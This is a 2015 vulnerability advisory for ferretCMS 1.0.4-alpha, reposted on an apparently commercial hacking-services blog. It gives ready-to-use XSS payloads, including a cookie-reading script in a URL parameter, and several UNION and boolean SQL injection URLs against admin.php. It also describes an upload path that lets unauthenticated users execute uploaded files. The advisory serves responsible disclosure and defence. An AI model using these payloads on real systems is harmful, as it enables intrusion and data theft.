Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86374154

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Advisory:
Advisory ID: SROEADV-2015-10
Author: Steffen Rösemann
Affected Software: ferretCMS v. 1.0.4-alpha
Vendor URL: https://github.com/JRogaishio/ferretCMS
Vendor Status: vendor will patch eventually
CVE-ID: -

Tested on:

- Firefox 35, Iceweasel 31
- Mac OS X 10.10, Kali Linux 1.0.9a

==========================
Vulnerability Description:
==========================

The content management system ferretCMS v.1.0.4, which is currently in
alpha development stage, suffers from multiple stored/reflecting XSS- and
SQLi-vulnerabilities in its administrative backend.
Moreover, there exists the possibility to upload arbitrary files via the
administrative backend, which can be executed by unauthenticated users, too.

==================
Technical Details:
==================

A reflecting XSS vulnerability can be found in the parameter "action" used
in the file admin.php:

http://
{TARGET}/admin.php?type=search&action=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

Stored XSS vulnerabilities resides in the logging functionality of
ferretCMS. On the administrative backend, the administrator has the
opportunity to watch events stored in a log. An event, that gets logged,
are login-attempts to the administrative backend, where the used username
is displayed, too. An attacker can abuse this, by trying to log in with
JavaScript-code instead of a username. That code gets executed in the logs.

Login-form is located here: http://{TARGET}/admin.php

XSS gets executed here: http://{TARGET}/admin.php?type=log&action=read

Another stored XSS vulnerability can be found in the pagetitle of a new
blog entry that is created by the administrator:

vulnerable form: http://{TARGET}/admin.php?type=page&action=insert&p=

XSS gets executed here: http://{TARGET}/admin.php?type=page&action=read


The following URLs are prone to SQL injection attacks:

http://
{TARGET}/admin.php?type=site&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+

http://
{TARGET}/admin.php?type=customkey&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,4+--+

http://
{TARGET}/admin.php?type=account&action=update&p=1+and+1=2+union+select+1,database%28%29,3,4,5,version%28%29,7,8,9+--+

http://
{TARGET}/admin.php?type=plugin&action=update&p=1+and+1=2+union+select+1,database%28%29,version%28%29,4+--+

http://
{TARGET}/admin.php?type=template&action=update&p=1+and+1=2+union+select+1,version%28%29,database%28%29,user%28%29,5+--+

http://
{TARGET}/admin.php?type=permissiongroup&action=update&p=1+and+1=2+union+select+1,version%28%29,3,4+--+

http://
{TARGET}/admin.php?type=page&action=update&p=1+and+substring%28version%28%29,1,1%29=5+--+

Last but not least there is a file-upload functionality in the
administrative backend of ferretCMS. The administrator can upload arbitrary
files here via the following URL:

http://localhost/ferretCMS/admin.php?type=uploader&action=upload

Any unauthenticated user can execute/read those files that had been
uploaded by visiting the following URL:

http://{TARGET}/custom/uploads/{NAME_OF_THE_UPLOADED_FILE}


=========
Solution:
=========

Vendor responded, issues will be patched eventually.


====================
Disclosure Timeline:
====================
15/16-Jan-2015 – found the vulnerability
16-Jan-2015 - informed the developers (see [3])
16-Jan-2015 – release date of this security advisory [without technical
details]
21-Jan-2015 - attempt #2 to inform the developer via mail
22-Jan-2015 - vendor responded, technical details posted to Github (see [3])
22-Jan-2015 - release date of this security advisory
22-Jan-2015 - send to lists


========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] https://github.com/JRogaishio/ferretCMS
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-10.html
[3] https://github.com/JRogaishio/ferretCMS/issues/63
[4] https://github.com/sroesemann/ferretCMS